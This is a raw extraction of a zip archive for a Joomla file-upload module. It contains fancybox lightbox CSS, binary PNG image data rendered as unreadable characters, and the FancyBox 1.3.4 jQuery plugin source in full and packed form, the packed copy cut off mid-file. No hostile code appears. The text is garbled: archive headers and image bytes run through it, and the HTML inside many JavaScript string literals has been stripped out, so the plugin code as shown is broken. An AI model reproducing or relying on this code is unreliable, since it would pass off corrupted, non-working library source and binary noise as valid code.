font-weight: bold; padding: 0 0 3px 0; background: url('fancybox-x.png') 0px -40px; } #fancybox-title-float-right { padding: 0 0 0 15px; background: url('fancybox.png') -55px -90px no-repeat; } /* IE6 */ .fancybox-ie6 #fancybox-close { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_close.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-left-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_nav_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-right-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_nav_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-over { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_over.png', sizingMethod='scale'); zoom: 1; } .fancybox-ie6 #fancybox-title-float-left { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-main { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_main.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-right { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-bg-w, .fancybox-ie6 #fancybox-bg-e, .fancybox-ie6 #fancybox-left, .fancybox-ie6 #fancybox-right, #fancybox-hide-sel-frame { height: expression(this.parentNode.clientHeight + "px"); } #fancybox-loading.fancybox-ie6 { position: absolute; margin-top: 0; top: expression( (-20 + (document.documentElement.clientHeight ? document.documentElement.clientHeight/2 : document.body.clientHeight/2 ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop )) + 'px'); } #fancybox-loading.fancybox-ie6 div { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_loading.png', sizingMethod='scale'); } /* IE6, IE7, IE8 */ .fancybox-ie .fancybox-bg { background: transparent !important; } .fancybox-ie #fancybox-bg-n { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_n.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-ne { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_ne.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-e { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_e.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-se { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_se.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-s { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_s.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-sw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_sw.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-w { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_w.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-nw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_nw.png', sizingMethod='scale'); }PKYy>\XFF;mod_simplefileuploadv1.3/tmpl/fancybox/fancy_title_over.pngnuW+APNG  IHDRĉ IDATc```X š IENDB`PKYy>\ġ.DD:mod_simplefileuploadv1.3/tmpl/fancybox/fancy_shadow_nw.pngnuW+APNG  IHDR  IDAT8˭ 0 E4S)uXԖD{C?~fSAs' `}:hkpp~mt<%t֑@,h)@$u5iKx6Vb9FtZVxd:HDWeE2h`~zhEc5+Xy"YĴV]ųȜr HRW"M,X7 >#aMI~DEi6,ovTOIENDB`PKYy>\ oTT:mod_simplefileuploadv1.3/tmpl/fancybox/fancy_shadow_sw.pngnuW+APNG  IHDR IDAT8˭Qn! Da7Asqh:%i+5c1|<TUk~|O`Ft"uVպ^40ɆҳM֞+7( Dtx(7\΍zVᬪ^fZ vi*SaC=;CKʪX`Ua{?LlXڭlI6Rml!Ia>/OSٜ/zU3%$Cթ߀mXڤ;,ktWF_@FfO#|[Е?IENDB`PKYy>\U(`s`s?mod_simplefileuploadv1.3/tmpl/fancybox/jquery.fancybox-1.3.4.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function($) { var tmp, loading, overlay, wrap, outer, content, close, title, nav_left, nav_right, selectedIndex = 0, selectedOpts = {}, selectedArray = [], currentIndex = 0, currentOpts = {}, currentArray = [], ajaxLoader = null, imgPreloader = new Image(), imgRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i, swfRegExp = /[^\.]\.(swf)\s*$/i, loadingTimer, loadingFrame = 1, titleHeight = 0, titleStr = '', start_pos, final_pos, busy = false, fx = $.extend($('
    ')[0], { prop: 0 }), isIE6 = $.browser.msie && $.browser.version < 7 && !window.XMLHttpRequest, /* * Private methods */ _abort = function() { loading.hide(); imgPreloader.onerror = imgPreloader.onload = null; if (ajaxLoader) { ajaxLoader.abort(); } tmp.empty(); }, _error = function() { if (false === selectedOpts.onError(selectedArray, selectedIndex, selectedOpts)) { loading.hide(); busy = false; return; } selectedOpts.titleShow = false; selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; tmp.html( '

    The requested content cannot be loaded.
    Please try again later.

    ' ); _process_inline(); }, _start = function() { var obj = selectedArray[ selectedIndex ], href, type, title, str, emb, ret; _abort(); selectedOpts = $.extend({}, $.fn.fancybox.defaults, (typeof $(obj).data('fancybox') == 'undefined' ? selectedOpts : $(obj).data('fancybox'))); ret = selectedOpts.onStart(selectedArray, selectedIndex, selectedOpts); if (ret === false) { busy = false; return; } else if (typeof ret == 'object') { selectedOpts = $.extend(selectedOpts, ret); } title = selectedOpts.title || (obj.nodeName ? $(obj).attr('title') : obj.title) || ''; if (obj.nodeName && !selectedOpts.orig) { selectedOpts.orig = $(obj).children("img:first").length ? $(obj).children("img:first") : $(obj); } if (title === '' && selectedOpts.orig && selectedOpts.titleFromAlt) { title = selectedOpts.orig.attr('alt'); } href = selectedOpts.href || (obj.nodeName ? $(obj).attr('href') : obj.href) || null; if ((/^(?:javascript)/i).test(href) || href == '#') { href = null; } if (selectedOpts.type) { type = selectedOpts.type; if (!href) { href = selectedOpts.content; } } else if (selectedOpts.content) { type = 'html'; } else if (href) { if (href.match(imgRegExp)) { type = 'image'; } else if (href.match(swfRegExp)) { type = 'swf'; } else if ($(obj).hasClass("iframe")) { type = 'iframe'; } else if (href.indexOf("#") === 0) { type = 'inline'; } else { type = 'ajax'; } } if (!type) { _error(); return; } if (type == 'inline') { obj = href.substr(href.indexOf("#")); type = $(obj).length > 0 ? 'inline' : 'ajax'; } selectedOpts.type = type; selectedOpts.href = href; selectedOpts.title = title; if (selectedOpts.autoDimensions) { if (selectedOpts.type == 'html' || selectedOpts.type == 'inline' || selectedOpts.type == 'ajax') { selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; } else { selectedOpts.autoDimensions = false; } } if (selectedOpts.modal) { selectedOpts.overlayShow = true; selectedOpts.hideOnOverlayClick = false; selectedOpts.hideOnContentClick = false; selectedOpts.enableEscapeButton = false; selectedOpts.showCloseButton = false; } selectedOpts.padding = parseInt(selectedOpts.padding, 10); selectedOpts.margin = parseInt(selectedOpts.margin, 10); tmp.css('padding', (selectedOpts.padding + selectedOpts.margin)); $('.fancybox-inline-tmp').unbind('fancybox-cancel').bind('fancybox-change', function() { $(this).replaceWith(content.children()); }); switch (type) { case 'html' : tmp.html( selectedOpts.content ); _process_inline(); break; case 'inline' : if ( $(obj).parent().is('#fancybox-content') === true) { busy = false; return; } $('
    ') .hide() .insertBefore( $(obj) ) .bind('fancybox-cleanup', function() { $(this).replaceWith(content.children()); }).bind('fancybox-cancel', function() { $(this).replaceWith(tmp.children()); }); $(obj).appendTo(tmp); _process_inline(); break; case 'image': busy = false; $.fancybox.showActivity(); imgPreloader = new Image(); imgPreloader.onerror = function() { _error(); }; imgPreloader.onload = function() { busy = true; imgPreloader.onerror = imgPreloader.onload = null; _process_image(); }; imgPreloader.src = href; break; case 'swf': selectedOpts.scrolling = 'no'; str = ''; emb = ''; $.each(selectedOpts.swf, function(name, val) { str += ''; emb += ' ' + name + '="' + val + '"'; }); str += ''; tmp.html(str); _process_inline(); break; case 'ajax': busy = false; $.fancybox.showActivity(); selectedOpts.ajax.win = selectedOpts.ajax.success; ajaxLoader = $.ajax($.extend({}, selectedOpts.ajax, { url : href, data : selectedOpts.ajax.data || {}, error : function(XMLHttpRequest, textStatus, errorThrown) { if ( XMLHttpRequest.status > 0 ) { _error(); } }, success : function(data, textStatus, XMLHttpRequest) { var o = typeof XMLHttpRequest == 'object' ? XMLHttpRequest : ajaxLoader; if (o.status == 200) { if ( typeof selectedOpts.ajax.win == 'function' ) { ret = selectedOpts.ajax.win(href, data, textStatus, XMLHttpRequest); if (ret === false) { loading.hide(); return; } else if (typeof ret == 'string' || typeof ret == 'object') { data = ret; } } tmp.html( data ); _process_inline(); } } })); break; case 'iframe': _show(); break; } }, _process_inline = function() { var w = selectedOpts.width, h = selectedOpts.height; if (w.toString().indexOf('%') > -1) { w = parseInt( ($(window).width() - (selectedOpts.margin * 2)) * parseFloat(w) / 100, 10) + 'px'; } else { w = w == 'auto' ? 'auto' : w + 'px'; } if (h.toString().indexOf('%') > -1) { h = parseInt( ($(window).height() - (selectedOpts.margin * 2)) * parseFloat(h) / 100, 10) + 'px'; } else { h = h == 'auto' ? 'auto' : h + 'px'; } tmp.wrapInner('
    '); selectedOpts.width = tmp.width(); selectedOpts.height = tmp.height(); _show(); }, _process_image = function() { selectedOpts.width = imgPreloader.width; selectedOpts.height = imgPreloader.height; $("").attr({ 'id' : 'fancybox-img', 'src' : imgPreloader.src, 'alt' : selectedOpts.title }).appendTo( tmp ); _show(); }, _show = function() { var pos, equal; loading.hide(); if (wrap.is(":visible") && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { $.event.trigger('fancybox-cancel'); busy = false; return; } busy = true; $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); if (wrap.is(":visible") && currentOpts.titlePosition !== 'outside') { wrap.css('height', wrap.height()); } currentArray = selectedArray; currentIndex = selectedIndex; currentOpts = selectedOpts; if (currentOpts.overlayShow) { overlay.css({ 'background-color' : currentOpts.overlayColor, 'opacity' : currentOpts.overlayOpacity, 'cursor' : currentOpts.hideOnOverlayClick ? 'pointer' : 'auto', 'height' : $(document).height() }); if (!overlay.is(':visible')) { if (isIE6) { $('select:not(#fancybox-tmp select)').filter(function() { return this.style.visibility !== 'hidden'; }).css({'visibility' : 'hidden'}).one('fancybox-cleanup', function() { this.style.visibility = 'inherit'; }); } overlay.show(); } } else { overlay.hide(); } final_pos = _get_zoom_to(); _process_title(); if (wrap.is(":visible")) { $( close.add( nav_left ).add( nav_right ) ).hide(); pos = wrap.position(), start_pos = { top : pos.top, left : pos.left, width : wrap.width(), height : wrap.height() }; equal = (start_pos.width == final_pos.width && start_pos.height == final_pos.height); content.fadeTo(currentOpts.changeFade, 0.3, function() { var finish_resizing = function() { content.html( tmp.contents() ).fadeTo(currentOpts.changeFade, 1, _finish); }; $.event.trigger('fancybox-change'); content .empty() .removeAttr('filter') .css({ 'border-width' : currentOpts.padding, 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }); if (equal) { finish_resizing(); } else { fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.changeSpeed, easing : currentOpts.easingChange, step : _draw, complete : finish_resizing }); } }); return; } wrap.removeAttr("style"); content.css('border-width', currentOpts.padding); if (currentOpts.transitionIn == 'elastic') { start_pos = _get_zoom_from(); content.html( tmp.contents() ); wrap.show(); if (currentOpts.opacity) { final_pos.opacity = 0; } fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.speedIn, easing : currentOpts.easingIn, step : _draw, complete : _finish }); return; } if (currentOpts.titlePosition == 'inside' && titleHeight > 0) { title.show(); } content .css({ 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }) .html( tmp.contents() ); wrap .css(final_pos) .fadeIn( currentOpts.transitionIn == 'none' ? 0 : currentOpts.speedIn, _finish ); }, _format_title = function(title) { if (title && title.length) { if (currentOpts.titlePosition == 'float') { return '
    ' + title + '
    '; } return '
    ' + title + '
    '; } return false; }, _process_title = function() { titleStr = currentOpts.title || ''; titleHeight = 0; title .empty() .removeAttr('style') .removeClass(); if (currentOpts.titleShow === false) { title.hide(); return; } titleStr = $.isFunction(currentOpts.titleFormat) ? currentOpts.titleFormat(titleStr, currentArray, currentIndex, currentOpts) : _format_title(titleStr); if (!titleStr || titleStr === '') { title.hide(); return; } title .addClass('fancybox-title-' + currentOpts.titlePosition) .html( titleStr ) .appendTo( 'body' ) .show(); switch (currentOpts.titlePosition) { case 'inside': title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'marginLeft' : currentOpts.padding, 'marginRight' : currentOpts.padding }); titleHeight = title.outerHeight(true); title.appendTo( outer ); final_pos.height += titleHeight; break; case 'over': title .css({ 'marginLeft' : currentOpts.padding, 'width' : final_pos.width - (currentOpts.padding * 2), 'bottom' : currentOpts.padding }) .appendTo( outer ); break; case 'float': title .css('left', parseInt((title.width() - final_pos.width - 40)/ 2, 10) * -1) .appendTo( wrap ); break; default: title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'paddingLeft' : currentOpts.padding, 'paddingRight' : currentOpts.padding }) .appendTo( wrap ); break; } title.hide(); }, _set_navigation = function() { if (currentOpts.enableEscapeButton || currentOpts.enableKeyboardNav) { $(document).bind('keydown.fb', function(e) { if (e.keyCode == 27 && currentOpts.enableEscapeButton) { e.preventDefault(); $.fancybox.close(); } else if ((e.keyCode == 37 || e.keyCode == 39) && currentOpts.enableKeyboardNav && e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT') { e.preventDefault(); $.fancybox[ e.keyCode == 37 ? 'prev' : 'next'](); } }); } if (!currentOpts.showNavArrows) { nav_left.hide(); nav_right.hide(); return; } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex !== 0) { nav_left.show(); } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex != (currentArray.length -1)) { nav_right.show(); } }, _finish = function () { if (!$.support.opacity) { content.get(0).style.removeAttribute('filter'); wrap.get(0).style.removeAttribute('filter'); } if (selectedOpts.autoDimensions) { content.css('height', 'auto'); } wrap.css('height', 'auto'); if (titleStr && titleStr.length) { title.show(); } if (currentOpts.showCloseButton) { close.show(); } _set_navigation(); if (currentOpts.hideOnContentClick) { content.bind('click', $.fancybox.close); } if (currentOpts.hideOnOverlayClick) { overlay.bind('click', $.fancybox.close); } $(window).bind("resize.fb", $.fancybox.resize); if (currentOpts.centerOnScroll) { $(window).bind("scroll.fb", $.fancybox.center); } if (currentOpts.type == 'iframe') { $('').appendTo(content); } wrap.show(); busy = false; $.fancybox.center(); currentOpts.onComplete(currentArray, currentIndex, currentOpts); _preload_images(); }, _preload_images = function() { var href, objNext; if ((currentArray.length -1) > currentIndex) { href = currentArray[ currentIndex + 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } if (currentIndex > 0) { href = currentArray[ currentIndex - 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } }, _draw = function(pos) { var dim = { width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10), height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10), top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10), left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10) }; if (typeof final_pos.opacity !== 'undefined') { dim.opacity = pos < 0.5 ? 0.5 : pos; } wrap.css(dim); content.css({ 'width' : dim.width - currentOpts.padding * 2, 'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2 }); }, _get_viewport = function() { return [ $(window).width() - (currentOpts.margin * 2), $(window).height() - (currentOpts.margin * 2), $(document).scrollLeft() + currentOpts.margin, $(document).scrollTop() + currentOpts.margin ]; }, _get_zoom_to = function () { var view = _get_viewport(), to = {}, resize = currentOpts.autoScale, double_padding = currentOpts.padding * 2, ratio; if (currentOpts.width.toString().indexOf('%') > -1) { to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10); } else { to.width = currentOpts.width + double_padding; } if (currentOpts.height.toString().indexOf('%') > -1) { to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10); } else { to.height = currentOpts.height + double_padding; } if (resize && (to.width > view[0] || to.height > view[1])) { if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') { ratio = (currentOpts.width ) / (currentOpts.height ); if ((to.width ) > view[0]) { to.width = view[0]; to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10); } if ((to.height) > view[1]) { to.height = view[1]; to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10); } } else { to.width = Math.min(to.width, view[0]); to.height = Math.min(to.height, view[1]); } } to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10); to.left = parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - to.width - 40) * 0.5)), 10); return to; }, _get_obj_pos = function(obj) { var pos = obj.offset(); pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0; pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0; pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0; pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0; pos.width = obj.width(); pos.height = obj.height(); return pos; }, _get_zoom_from = function() { var orig = selectedOpts.orig ? $(selectedOpts.orig) : false, from = {}, pos, view; if (orig && orig.length) { pos = _get_obj_pos(orig); from = { width : pos.width + (currentOpts.padding * 2), height : pos.height + (currentOpts.padding * 2), top : pos.top - currentOpts.padding - 20, left : pos.left - currentOpts.padding - 20 }; } else { view = _get_viewport(); from = { width : currentOpts.padding * 2, height : currentOpts.padding * 2, top : parseInt(view[3] + view[1] * 0.5, 10), left : parseInt(view[2] + view[0] * 0.5, 10) }; } return from; }, _animate_loading = function() { if (!loading.is(':visible')){ clearInterval(loadingTimer); return; } $('div', loading).css('top', (loadingFrame * -40) + 'px'); loadingFrame = (loadingFrame + 1) % 12; }; /* * Public methods */ $.fn.fancybox = function(options) { if (!$(this).length) { return this; } $(this) .data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {}))) .unbind('click.fb') .bind('click.fb', function(e) { e.preventDefault(); if (busy) { return; } busy = true; $(this).blur(); selectedArray = []; selectedIndex = 0; var rel = $(this).attr('rel') || ''; if (!rel || rel == '' || rel === 'nofollow') { selectedArray.push(this); } else { selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]"); selectedIndex = selectedArray.index( this ); } _start(); return; }); return this; }; $.fancybox = function(obj) { var opts; if (busy) { return; } busy = true; opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {}; selectedArray = []; selectedIndex = parseInt(opts.index, 10) || 0; if ($.isArray(obj)) { for (var i = 0, j = obj.length; i < j; i++) { if (typeof obj[i] == 'object') { $(obj[i]).data('fancybox', $.extend({}, opts, obj[i])); } else { obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts)); } } selectedArray = jQuery.merge(selectedArray, obj); } else { if (typeof obj == 'object') { $(obj).data('fancybox', $.extend({}, opts, obj)); } else { obj = $({}).data('fancybox', $.extend({content : obj}, opts)); } selectedArray.push(obj); } if (selectedIndex > selectedArray.length || selectedIndex < 0) { selectedIndex = 0; } _start(); }; $.fancybox.showActivity = function() { clearInterval(loadingTimer); loading.show(); loadingTimer = setInterval(_animate_loading, 66); }; $.fancybox.hideActivity = function() { loading.hide(); }; $.fancybox.next = function() { return $.fancybox.pos( currentIndex + 1); }; $.fancybox.prev = function() { return $.fancybox.pos( currentIndex - 1); }; $.fancybox.pos = function(pos) { if (busy) { return; } pos = parseInt(pos); selectedArray = currentArray; if (pos > -1 && pos < currentArray.length) { selectedIndex = pos; _start(); } else if (currentOpts.cyclic && currentArray.length > 1) { selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1; _start(); } return; }; $.fancybox.cancel = function() { if (busy) { return; } busy = true; $.event.trigger('fancybox-cancel'); _abort(); selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts); busy = false; }; // Note: within an iframe use - parent.$.fancybox.close(); $.fancybox.close = function() { if (busy || wrap.is(':hidden')) { return; } busy = true; if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { busy = false; return; } _abort(); $(close.add( nav_left ).add( nav_right )).hide(); $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank'); if (currentOpts.titlePosition !== 'inside') { title.empty(); } wrap.stop(); function _cleanup() { overlay.fadeOut('fast'); title.empty().hide(); wrap.hide(); $.event.trigger('fancybox-cleanup'); content.empty(); currentOpts.onClosed(currentArray, currentIndex, currentOpts); currentArray = selectedOpts = []; currentIndex = selectedIndex = 0; currentOpts = selectedOpts = {}; busy = false; } if (currentOpts.transitionOut == 'elastic') { start_pos = _get_zoom_from(); var pos = wrap.position(); final_pos = { top : pos.top , left : pos.left, width : wrap.width(), height : wrap.height() }; if (currentOpts.opacity) { final_pos.opacity = 1; } title.empty().hide(); fx.prop = 1; $(fx).animate({ prop: 0 }, { duration : currentOpts.speedOut, easing : currentOpts.easingOut, step : _draw, complete : _cleanup }); } else { wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup); } }; $.fancybox.resize = function() { if (overlay.is(':visible')) { overlay.css('height', $(document).height()); } $.fancybox.center(true); }; $.fancybox.center = function() { var view, align; if (busy) { return; } align = arguments[0] === true ? 1 : 0; view = _get_viewport(); if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) { return; } wrap .stop() .animate({ 'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)), 'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding)) }, typeof arguments[0] == 'number' ? arguments[0] : 200); }; $.fancybox.init = function() { if ($("#fancybox-wrap").length) { return; } $('body').append( tmp = $('
    '), loading = $('
    '), overlay = $('
    '), wrap = $('
    ') ); outer = $('
    ') .append('
    ') .appendTo( wrap ); outer.append( content = $('
    '), // Work-around if conflict on jQuery - Anders Wasn 2011-02-01 //close = $(''), close = $(''), title = $('
    '), nav_left = $(''), nav_right = $('') ); close.click($.fancybox.close); loading.click($.fancybox.cancel); nav_left.click(function(e) { e.preventDefault(); $.fancybox.prev(); }); nav_right.click(function(e) { e.preventDefault(); $.fancybox.next(); }); if ($.fn.mousewheel) { wrap.bind('mousewheel.fb', function(e, delta) { if (busy) { e.preventDefault(); } else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) { e.preventDefault(); $.fancybox[ delta > 0 ? 'prev' : 'next'](); } }); } if (!$.support.opacity) { wrap.addClass('fancybox-ie'); } if (isIE6) { loading.addClass('fancybox-ie6'); wrap.addClass('fancybox-ie6'); $('').prependTo(outer); } }; $.fn.fancybox.defaults = { padding : 10, margin : 40, opacity : false, modal : false, cyclic : false, scrolling : 'auto', // 'auto', 'yes' or 'no' width : 560, height : 340, autoScale : true, autoDimensions : true, centerOnScroll : false, ajax : {}, swf : { wmode: 'transparent' }, hideOnOverlayClick : true, hideOnContentClick : false, overlayShow : true, overlayOpacity : 0.7, overlayColor : '#777', titleShow : true, titlePosition : 'float', // 'float', 'outside', 'inside' or 'over' titleFormat : null, titleFromAlt : false, transitionIn : 'fade', // 'elastic', 'fade' or 'none' transitionOut : 'fade', // 'elastic', 'fade' or 'none' speedIn : 300, speedOut : 300, changeSpeed : 300, changeFade : 'fast', easingIn : 'swing', easingOut : 'swing', showCloseButton : true, showNavArrows : true, enableEscapeButton : true, enableKeyboardNav : true, onStart : function(){}, onCancel : function(){}, onComplete : function(){}, onCleanup : function(){}, onClosed : function(){}, onError : function(){} }; $(document).ready(function() { $.fancybox.init(); }); })(jQuery);PKYy>\94[[:mod_simplefileuploadv1.3/tmpl/fancybox/fancy_shadow_ne.pngnuW+APNG  IHDR "IDAT8˭k0o?U+m$+~a`K3I_yy\+;==Dmod_simplefileuploadv1.3/tmpl/fancybox/jquery.fancybox-1.3.4.pack.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function(b){var m,t,u,f,D,j,E,n,z,A,q=0,e={},o=[],p=0,d={},l=[],G=null,v=new Image,J=/\.(jpg|gif|png|bmp|jpeg)(.*)?$/i,W=/[^\.]\.(swf)\s*$/i,K,L=1,y=0,s="",r,i,h=false,B=b.extend(b("
    ")[0],{prop:0}),M=b.browser.msie&&b.browser.version<7&&!window.XMLHttpRequest,N=function(){t.hide();v.onerror=v.onload=null;G&&G.abort();m.empty()},O=function(){if(false===e.onError(o,q,e)){t.hide();h=false}else{e.titleShow=false;e.width="auto";e.height="auto";m.html('

    The requested content cannot be loaded.
    Please try again later.

    '); F()}},I=function(){var a=o[q],c,g,k,C,P,w;N();e=b.extend({},b.fn.fancybox.defaults,typeof b(a).data("fancybox")=="undefined"?e:b(a).data("fancybox"));w=e.onStart(o,q,e);if(w===false)h=false;else{if(typeof w=="object")e=b.extend(e,w);k=e.title||(a.nodeName?b(a).attr("title"):a.title)||"";if(a.nodeName&&!e.orig)e.orig=b(a).children("img:first").length?b(a).children("img:first"):b(a);if(k===""&&e.orig&&e.titleFromAlt)k=e.orig.attr("alt");c=e.href||(a.nodeName?b(a).attr("href"):a.href)||null;if(/^(?:javascript)/i.test(c)|| c=="#")c=null;if(e.type){g=e.type;if(!c)c=e.content}else if(e.content)g="html";else if(c)g=c.match(J)?"image":c.match(W)?"swf":b(a).hasClass("iframe")?"iframe":c.indexOf("#")===0?"inline":"ajax";if(g){if(g=="inline"){a=c.substr(c.indexOf("#"));g=b(a).length>0?"inline":"ajax"}e.type=g;e.href=c;e.title=k;if(e.autoDimensions)if(e.type=="html"||e.type=="inline"||e.type=="ajax"){e.width="auto";e.height="auto"}else e.autoDimensions=false;if(e.modal){e.overlayShow=true;e.hideOnOverlayClick=false;e.hideOnContentClick= false;e.enableEscapeButton=false;e.showCloseButton=false}e.padding=parseInt(e.padding,10);e.margin=parseInt(e.margin,10);m.css("padding",e.padding+e.margin);b(".fancybox-inline-tmp").unbind("fancybox-cancel").bind("fancybox-change",function(){b(this).replaceWith(j.children())});switch(g){case "html":m.html(e.content);F();break;case "inline":if(b(a).parent().is("#fancybox-content")===true){h=false;break}b('
    ').hide().insertBefore(b(a)).bind("fancybox-cleanup",function(){b(this).replaceWith(j.children())}).bind("fancybox-cancel", function(){b(this).replaceWith(m.children())});b(a).appendTo(m);F();break;case "image":h=false;b.fancybox.showActivity();v=new Image;v.onerror=function(){O()};v.onload=function(){h=true;v.onerror=v.onload=null;e.width=v.width;e.height=v.height;b("").attr({id:"fancybox-img",src:v.src,alt:e.title}).appendTo(m);Q()};v.src=c;break;case "swf":e.scrolling="no";C='';P="";b.each(e.swf,function(x,H){C+='';P+=" "+x+'="'+H+'"'});C+='";m.html(C);F();break;case "ajax":h=false;b.fancybox.showActivity();e.ajax.win=e.ajax.success;G=b.ajax(b.extend({},e.ajax,{url:c,data:e.ajax.data||{},error:function(x){x.status>0&&O()},success:function(x,H,R){if((typeof R=="object"?R:G).status==200){if(typeof e.ajax.win== "function"){w=e.ajax.win(c,x,H,R);if(w===false){t.hide();return}else if(typeof w=="string"||typeof w=="object")x=w}m.html(x);F()}}}));break;case "iframe":Q()}}else O()}},F=function(){var a=e.width,c=e.height;a=a.toString().indexOf("%")>-1?parseInt((b(window).width()-e.margin*2)*parseFloat(a)/100,10)+"px":a=="auto"?"auto":a+"px";c=c.toString().indexOf("%")>-1?parseInt((b(window).height()-e.margin*2)*parseFloat(c)/100,10)+"px":c=="auto"?"auto":c+"px";m.wrapInner('
